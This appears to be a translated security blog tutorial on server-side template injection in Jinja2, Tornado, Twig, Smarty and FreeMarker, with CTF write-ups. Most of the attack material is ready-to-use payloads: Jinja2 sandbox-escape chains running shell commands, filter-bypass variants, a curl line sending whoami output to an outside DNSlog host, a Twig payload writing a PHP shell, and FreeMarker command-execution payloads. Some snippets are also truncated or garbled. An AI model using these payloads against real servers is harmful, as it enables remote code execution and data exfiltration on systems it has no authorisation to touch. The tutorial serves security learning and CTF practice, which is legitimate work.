web security-SSTI template injection vulnerability

1. First introduction to SSTI

1. What is SSTI injection?

SSTI template injection (Server-Side Template Injection), by interacting with the input and output of the server-side template, constructs malicious input data without strict filtering, so as to achieve the purpose of reading files or getshell.

2. Causes of SSTI vulnerabilities

The cause of the vulnerability is that after the server receives the user’s malicious input, it uses it as part of the Web application template content without any processing. During the process of target compilation and rendering, the template engine executes statements inserted by the user that can destroy the template. , which may lead to sensitive information leakage, code execution, GetShell and other issues.

3. Conditions of use

The website is processed by the data and template framework to output the page. Our data will not change in the database, but the template of the screen can be converted into various types.When the template has controllable parameter variables or the template code has the debugging function of the template, may lead to SSTI template injection, which exists for most script types.

2. Template framework containing injection risks

1. SSTI in python

Common python templates include: Jinja2, tornado


The python template injection vulnerability arises because the render_template_string function in the Flask application framework uses %s to dynamically replace the string when rendering the template, and the Flask template uses Jinja2 as the template rendering engine, and {{}} is used as a variable in Jinja2 Package identifier. When rendering, the content of the {{}} package will be parsed and replaced as a variable. For example, {{1+1}} will be parsed into 2.

A ctf example is used to demonstrate the template framework and how to use it:

Attack and Defense World Shrine wp

Source code:

import flask
import os

app = flask.Flask(__name__)
#Initialize the app with the path of the current module. __name__ is the system variable, which is the name of the main module or package of the program. This variable refers to the file name of this py file.

app.config['FLAG'] = os.environ.pop('FLAG')
#Set a configuration: app.config['FLAG'] is the configuration of the next variable named 'FLAG' in the current app.
#Its value is equal to os.environ.pop('FLAG') removes the value of the key named 'FLAG' in the environment variable.

#When accessing http://ip/, execute the index() function to open the current file, read the file content, and return the file source code.
def index():
    return open(__file__).read()

#When accessing http://ip/shrine/, call the flask.render_template_string function
#Return the rendering template string safe_jinja(shrine)
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '') #First remove the "(" and ")" left and right brackets in the s string variable
        blacklist = ['config', 'self'] #Filter out the config, self keywords
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s  
    return flask.render_template_string(safe_jinja(shrine)) #Render template

if __name__ == '__main__':

Under the shrine path, construct Python template injection and find that template injection exists.

Then check the config and self configuration:

Parentheses and keywords are filtered, so magic functions with parentheses cannot be used. You can use other Python built-in functions.

Magic methods commonly used for SSTI in Python

__class__: the object to which the return type belongs
__mro__: Returns a tuple containing the base classes inherited by the object. Methods are parsed in the order of the tuples when parsing.
__base__: Returns the base class that the object inherits from
// __base__ and __mro__ are both used to find base classes
__subclasses__: Each new class retains references to subclasses. This method returns a list of references that are still available in the class.
__init__: Initialization method of the class
__globals__: a reference to a dictionary containing function global variables
__builtins__: Builtins are references. Once the Python program is started, it will be loaded into the memory before the code written by the programmer is run. However, builtins do not need to be imported. They are directly visible in any module, so Referenced modules can be called directly.
app.config['FLAG'] = os.environ.pop('FLAG')

The purpose of this question is to read the value of the variable named ‘FLAG’ in the configuration file, which is the value of the key named ‘FLAG’ in the environment variable. However, the values ​​of the config and self parameters are set to None and cannot be viewed directly. , the following two functions can be used:

url_for() function to view flag

Use the url_for function to view all static files in the current package, including configuration files.

First check the reference of the dictionary of the global variable of the url_for function:

Where ‘current_app’:<Flask ‘app’> Key-value pair, current_app means the current app, then we directly check app.config[‘FLAG’]

get_flashed_messages() function to view flag

flash()Used to flash (can be understood as sending) a message. In the template, useget_flashed_messages()to get the message (the flash information can only be taken out once, and the flash information will be cleared after being taken out).

The flash() function has three forms of caching data:
(1) Cache string content.
Set flash content: flash(‘Congratulations on your successful login’)
Template to retrieve flashed content: {% with messages = get_flashed_messages() %}
(2) Cache default key-value pairs. When flashing a message, a category can be provided. When no category is specified, the default category is ‘message’.
Set flash content: flash(‘Congratulations on your successful login’, “status”)
Template to retrieve flashed content: {% with messages = get_flashed_messages(with_categories=true) %}
(3) Cache custom key-value pairs.
Set flash content: flash(‘Your account name is admin’, “username”)
Template to retrieve flashed content: {% with messages = get_flashed_messages(category_filter=[“username”])

So we can get all cached flashed content through get_flashed_messages():{{get_flashed_messages.__globals__}}


1.python sandbox escape


{{config}} can get the current settings. If the question is similar to app.config ['FLAG'] = os.environ.pop('FLAG'), you can directly access {{config['FLAG']}} or {{ config.FLAG}}get flag


{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ You can also find config

3.””, [], () and other data structures

The main purpose is to use __class__.__mro__[] to find the object class

4, url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config, etc

If config and self cannot be used, to obtain the configuration information, you must access the configuration current_app from its upper global variables, similar to the wp above

For example:




2. File reading

#Get the object that belongs to the '' string
>>> ''.__class__
<class 'str'>

#Get the parent class of str class
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

#Get all subclasses of the object class
>>> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>...
#There are many categories, which will be omitted later.

Now you only need to find the required class from these classes, obtain it using the array subscript, and then execute the function you want to execute in the class. For example, the 21st class is the file class, which can be constructed and used:


For another example, if there is no file class, use the class<class '_frozen_importlib_external.FileLoader'>, the file can be read.


3.waf bypass


filter only[]
(1) .pop() bypass (use with caution as the corresponding value will be deleted)
You can return the element at an index in the specified sequence attribute or the value corresponding to a key of the specified dictionary attribute, as follows:
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}} // Specify sequence attributes
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen ("ls /").read()')}} // Specify dictionary attributes

(2)__getitem__() can output the element at a certain index in the sequence attribute, such as:
"".__class__.__mro__[2] is equivalent to "".__class__.__mro__.__getitem__(2)

If. is also filtered
(1) Use the native JinJa2 function |attr()
Change request.__class__ to request|attr("__class__")
(2)Use [] to bypass
{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}

2. Filter quotes

(1) Use request to bypass
These can be used to bypass, among which args accepts GET parameters, values ​​accepts POST parameters, and cookies accepts cookie parameters.
For example:
?name={{[].__class__.__base__.__subclasses__()[100].__init__.__globals__['__import__']('os').popen('cat flag').read()}}
Since '' is filtered, it can be replaced with the following statement:
?name={{[].__class__.__base__.__subclasses__()[100].__init__.__globals__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=cat flag

(2) char bypass
Blast first to see where your target environment char is.
Then assign char to cha, and then use the form of char() to replace the command in the quotation marks
Such as: execution
then execute
{% set c = ().__class__.__base__.__subclasses__()[33].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[137].__init__.__globals__.popen(c(119)%2bc(104)%2bc(111)%2bc(97)%2bc(109)%2bc(105)).read()}}

3. Filter underlines_

Using the request.args property
To execute:
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
then execute
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__

4. Filter braces{{

use{% if ... %}1{% endif %},For example

(1) Use {%....%} to reprint the loop control statement to bypass

(2) Use {%print(.....)%}

(3) You can also use curl with DNSlog to bring out data
{% if ().__class__.__base__.__subclasses__()[33].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='kawhi' %}1{% endif %}

5. Hexadecimal bypass within quotation marks


6.” ‘chr, etc. are filtered and strings cannot be introduced

Directly splicing key names


usestringpoplistslicefirstWait for the filter to find it directly from existing variables.


construct%andcAfter that, replace it with the format stringchr

{%set udl=dict(a=pc,c=c).values()|join %}      # uld=%c
{%set i1=dict(a=i1,c=udl%(99)).values()|join %}

7.+ etc. are filtered and strings cannot be spliced.

  • ~Strings can be spliced ​​in jinja2
  • Format string, same as above

8. Filter keywords

For example, flags are often filtered

#String concatenation bypass
{{[].__class__.__base__.__subclasses__()[20].__init__.__globals__['linecache']['os'].popen('cat /fl'+'ag').read()}}

#Encoding bypasses base64/Unicode encoding/Hex encoding
Equivalent to:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

#Quotation marks can be bypassed by using the form fl""ag or fl''ag:

#join function bypass


tornado render is a rendering function in python, which is a kind of template. Different web pages are generated by calling different parameters. If the user has control over the render content, not only can XSS code be injected, but also through {{}} Pass variables and execute simple expressions.

Let’s use a BUUCTF question to demonstrate tornado render template injection:

BUUCTF easy_tornado wp

I opened the question website and found that there were three files. I opened them all and looked at them. I found a prompt in the hint.txt file:

There is also a prompt in the flag.txt file that the flag is in the /fllllllllllllag file:

Now you can construct:filename=/fllllllllllllag&filehash=?, now you can construct the complete payload only by knowing the cookie_secret.

Prompt in the welcome.txt filerender, rendering.

If you modify the filename value in the link, you will find that the link jumps to an error page.

According to the tornado official documentationcookie_secretexisthandler.settingsin, visit


After two MD5 encryption calculations, the payload is constructed and the flag is obtained.

2.SSTI in php

Common PHP templates: twig, smarty, blade

2.1 Twig

Twig template syntax official documentation

file reading



Common payloads




{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}




{{['cat /etc/passwd']|filter('system')}}

BUUCTF-Cookie is so stable wp

Looking at the name, I think it is related to cookie injection. After opening it, look at the source code of hint:

Open the flag interface and find an injection point, capture the packet and take a look

The cookie is found, and the entered username is seen in the return. SQL injection does not exist. It should be SSTI template injection.

Try to inject {{7*’7′}}, return 49, indicating that it is a Twig template; but if it returns 7777777, it indicates that it is a Jinia2 template

Returning 49 proves that it is a vulnerability of the twig framework. This template has a fixed payload:

{{love. Env. RegisterUndefinedFilterCallback (" exec ")}} {{love. Env. GetFilter (" id ")}} // to check the id

{{love. Env. RegisterUndefinedFilterCallback (" exec ")}} {{love. Env. GetFilter (" cat/flag ")}} // check the flag

Modify the value of the injection point user in the cookie to get the flag

2.2 Smarty

Smarty-SSTI general utilization methods

{$smarty.version} #Get smarty version number

{php}phpinfo();{/php} #Execute the corresponding php code

<script language="php">phpinfo();</script> #{literal} allows the characters in a template area to be output as is, which is often used to protect Javascript or CSS style sheets on the page.
This way of writing is only applicable to php5 environment

{if phpinfo()}{/if} #Each {if} must have a matching {/if}, you can also use {else} and {elseif}

PHP statements that can be executed in the {if} tag in smary:

{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}

Bugku smart php wp

Enter the environment and find this:

pass a parameter and maybe the flag file's filename is random :> 
Pass an argument that may mark the file's file name as random

So I passed the parameters and added /?a=2 after the original web page, and found that the web page had changed.

It’s smarttemplate enginesomething, try injecting

Code audit:

pass a parameter and maybe the flag file's filename is random :> <?php
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
    foreach ($_GET AS $key => $value)
        print $key."\n";
        if(preg_match("/flag|\/flag/i", $value)){

        }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){


Summary: The value of get is passed to value and then the value is matched using regular expressions. If a match is found, template.html is output.
So our goal is to bypass the first two regular rules
The flag cannot be searched because the flag is filtered.
I found that ls was not filtered, so I tried ls first.
Because the system function, exec function, and shell_exec function in PHP are filtered, the execution command can only be executed using the passthru function.

?a={if passthru("ls -l")}{/if}

Found no useful information
So go to the root directory again

?a={if passthru("ls /")}{/if}

Consider opening _20199

However, the opening command cat is prohibited. You can use the vi command, tac command or more command to open it and get the flag.

?a={if passthru("vi /_20199")}{/if}
?a={if passthru("more /_20199")}{/if}
?id={if passthru("tac /_20199")}{/if}

3.SSTI in Java


basic grammar

statement identifier

#Script statements used to identify Velocity, including #set, #if, #else, #end, #foreach, #end, #include, #parse, #macro and other statements.


$ is used to identify a variable, such as Hello $a in the template file. You can get $a passed through the context.


set is used to declare Velocity script variables, variables can be declared in the script

#set($a ="velocity")


Single-line comments are ##, multi-line comments are #* …………. *# appearing in pairs

Conditional statements

Take if/else as an example:


escape character

If $a has been defined, but you need to output $a as is, you can try \escaping as the key $

The main process of using Velocity is:

  • Initialize the Velocity template engine, including template path, loading type, etc.
  • Create a context for storing data pre-passed to the template file
  • Select a specific template file and pass the data to complete rendering.

Code example:

package Velocity;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;

import java.io.StringWriter;

public class VelocityTest {
    public static void main(String[] args) {

        VelocityEngine velocityEngine = new VelocityEngine();
        velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
        velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");

        VelocityContext context = new VelocityContext();
        context.put("name", "Rai4over");
        context.put("project", "Velocity");

        Template template = velocityEngine.getTemplate("test.vm");
        StringWriter sw = new StringWriter();
        template.merge(context, sw);
        System.out.println("final output:" + sw);

Create a template engine through VelocityEngine, then use velocityEngine.setProperty to set the template path src/main/resources, the loader type to file, and finally complete the engine initialization through velocityEngine.init().

Create context variables through VelocityContext() and add variables used in the template to the context through put.

Select the specific template file test.vm in the path through getTemplate, create a StringWriter object to store the rendering results, and then pass the context variables into template.merge for rendering.


FreeMarker template code:

<body><# - This is the comment - >
  <h1>Welcome ${user}!</h1>
  <p>Our latest product:
  <a href="${latestProduct.url}">${latestProduct.name}</a>!

Template files are stored on the web server, just like static HTML pages. When someone visits this page, FreeMarker will step in and execute, then dynamically convert the template, replace the ${…} part of the template with the latest data content, and then send the result to the visitor’s web browser.

The main usages are as follows:

< # - Creates a user-defined instruction that calls the argument constructor of the class - >
<#assign word_wrapp ="com.acmee.freemarker.WordWrapperDirective"?new()>
< # - Creates a user-defined instruction that calls the constructor with a numeric argument - >
<#assign word_wrapp_narrow ="com.acmee.freemarker.WordWrapperDirective"?new(40)>

The constructor is called to create an object, then the payload is the object called Execute of freemarker’s built-in execution command.

The Execute class in freemarker.template.utility will execute its parameters, so we can use the new function to create a new Execute class and transfer the command we want to execute as a parameter to construct a remote command execution vulnerability. Construct payload:

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

The ObjectConstructor class in freemarker.template.utility, as shown in the figure below, uses its parameters as names to construct an instantiated object. Therefore, we can construct an object that can execute commands, thereby constructing a remote command execution vulnerability.

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()

JythonRuntime in freemarker.template.utility can execute Python commands through custom tags, thereby constructing remote command execution vulnerabilities.

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

Related Posts

SUID privilege escalation

Network security/penetration testing tool AWVS14.9 download/usage tutorial/installation tutorial

HFish | A safe, simple, and effective honeypot platform | Detailed instructions on how to build and use it

Detailed tutorial on installing sqlmap

The 20 most common types of cybersecurity attacks

A brief discussion on four defense methods of SQL injection

Hackthebox Shoppy Guide

[Reproduction and utilization of log4j2 vulnerability]

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>